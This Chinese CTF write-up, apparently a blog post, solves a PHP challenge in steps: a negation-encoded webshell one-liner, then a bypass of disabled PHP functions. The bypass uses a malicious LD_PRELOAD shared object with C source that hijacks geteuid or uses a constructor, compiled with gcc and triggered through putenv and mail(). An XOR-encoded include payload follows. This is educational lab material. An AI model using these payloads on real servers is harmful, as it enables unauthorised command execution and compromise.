前两天做了一道ctf题目,遇到比较陌生的知识点,利用LD_PRELOAD环境变量,调用新的进程来加载恶意的so文件,执行我们注入程序中的恶意代码,从而绕过函数限制。当然,这么说也比较抽象,后文会详细说明,先看我遇到的ctf题目。
打开题目,就是简单的无字母数字的命令执行代码:
- error_reporting(0);
- if(isset($_GET['code'])){
- $code=$_GET['code'];
- if(strlen($code)>40){
- die("This is too Long.");
- }
- if(preg_match("/[A-Za-z0-9]+/",$code)){
- die("NO.");
- }
- @eval($code);
- }
- else{
- highlight_file(__FILE__);
- }
用最简单的取反来写马进去,(常规思路就是构造system,但是没反应)这里有个小知识点,原本我构造的一句话木马是eval($_POST[123]);但是这个是失效的马,执行不了命令。为什么会这样?在我看来,题目中的eval函数执行了$code的取反操作,取反后的eval并不是php函数,不会将传递的数据当做代码执行,所以我们就需要用assert函数来将字符串当做php代码来执行,所以我们构造assert(eval($_POST[123]));
- $a = "assert";
- $b = urlencode(~$a);
- echo $b."\n";
- $c = '(eval($_POST[123]))';
- $d = urlencode(~$c);
- echo $d;
- ?>
生成的payload就是
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%CD%CC%A2%D6%D6);
检验一下木马的有效性。
这里就连接蚁剑了,然而拿到shell了却执行不了命令。
在phpinfo中,可以看到禁用的函数。
拿到shell就是一个空壳,接下来就是文章重点学习的知识,利用LD_PRELOAD来绕过函数禁用。
在学习这个之前,得先了解几个概念。
什么是链接,程序的链接可以分为三种。
静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
当执行可执行程序时,会自动加载调用动态链接库中的函数。起初这么做的目的是方便程序的更新发布,比如要更新一个程序,只需要下载所需要的动态链接库就可以了,也相当于补丁。如果动态链接注入了恶意函数,在程序执行时也就执行了恶意代码。
什么是LD_PRELOAD
它就是linux的环境变量。这里放大佬的解释。
在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。
这里可以用一句话来说,通过LD_PRELOAD环境变量设置的指定路径的文件,会在程序执行时最先调用的文件。
我们再来说说什么是so文件。
就是将一系列的c函数打包到一个文件中,方便其他二进制文件调用,这样的文件就是so文件,也称动态链接库,相当于windows中的dll文件。
1.有上传点,可以上传so文件。
2.可以使用环境变量的函数来控制LD_PRELOAD,例如putenv函数。
3.可以启动新的进程(新进程启动时会加载LD_PRELOAD中的so文件)在php中可以新建进程的函数有mail()和imap_mail()函数。
那么在如上条件都满足的情况下,可以有这样一个思路。
1.我们可以编写一个恶意的c代码,里面改写被劫持的函数替换为恶意命令,再制作成so文件。
2.利用putenv函数将LD_PRELOAD设置为我们so文件的路径。
3.编写一个php文件来调用某个函数,例如调用mail()函数,当这个函数调用时,会调用系统中的sendmail函数,从而开启新的进程。
4.成功执行了我们的恶意代码。
现在我们知道了要通过mail()函数来开启一个新的线程,那么接下来我们要思考的问题就是程序会调用什么函数(因为要重写函数,如果没有被调用,那就没意义)这里我们可以使用getuid函数,获取用户的id,毕竟程序执行肯定需要知道用户是什么权限,自然会调用。
那么编写c代码重写geteuid函数。
- #include
- #include
- #include
//hack.c -
- void payload() {
- system("dir");
- }
- int geteuid() {
- if (getenv("LD_PRELOAD") == NULL) { return 0; }
- unsetenv("LD_PRELOAD");
- payload();
- }
如果geteuid函数被调用,那么system也会自动调用了。接着我们就要编译成恶意so文件了,使用如下命令。
gcc -shared -fPIC hack.c -o hack.so
同时写一个webshell,hack.so上传至临时目录或web目录都可以,
- putenv("LD_PRELOAD=/tmp/hack.so");
- mail('','','','');
- ?>
这个php也需要上传,如果在web目录就访问这个webshell,如果在临时目录就就要包含它。因为环境我不知道怎么搞,就不复现了。
上面的方法是劫持某一函数,进行重写。这里的局限就是只能找到一个函数进行劫持,有十个函数就要编写十个不同的so文件,很麻烦。当然我们可以调用一个方法来完成通杀。比如编写以下的c文件。
- #include
- #include
- __attribute__((constructor))void payload() {
- unsetenv("LD_PRELOAD");
- const char* cmd = getenv("CMD");
- system(cmd);
- }
我们看不懂的__attribute__((__constructor__))就类似于构造方法,函数名我们可以自定义。在系统执行mail函数之前会自动调用该构造方法。也是网上比较流行的。
目前已经拿到shell,虽说不能执行命令,但是可以上传文件。先编写hack.c。
- #include
- #include
- #include
- void payload() {
- system("/readflag >> /var/tmp/test.php");
- }
- int geteuid() {
- if (getenv("LD_PRELOAD") == NULL) { return 0; }
- unsetenv("LD_PRELOAD");
- payload();
- }
使用命令编译成恶意so文件。
然后再编写一个wenshell。
- putenv("LD_PRELOAD=/var/tmp/getflag.so");
- mail("","","","");
- error_log("",1,"","");
- ?>
将两个文件都上传到题目中的临时目录中。
然后就是想办法访问这个php文件。用网上的异或payload,构造的语句为
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/hack.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/getflag.so
异或构造的就是${_GET}[_](${_GET}[_]);命令。至于这个payload,长度限制四十,也只能用异或来构造_GET传参了。但是后面有cmd等参数从哪里来的就不清楚了,希望有的师傅能指正一下。运行payload之后,就会在tmp目录发现test.php。
打开文件就是flag了。
这种利用LD_PRELOAD来绕过函数禁用的方式还是比较常见。今后通过题目的练习来加深这种利用姿势的理解。
大佬们写的文章真的很不错: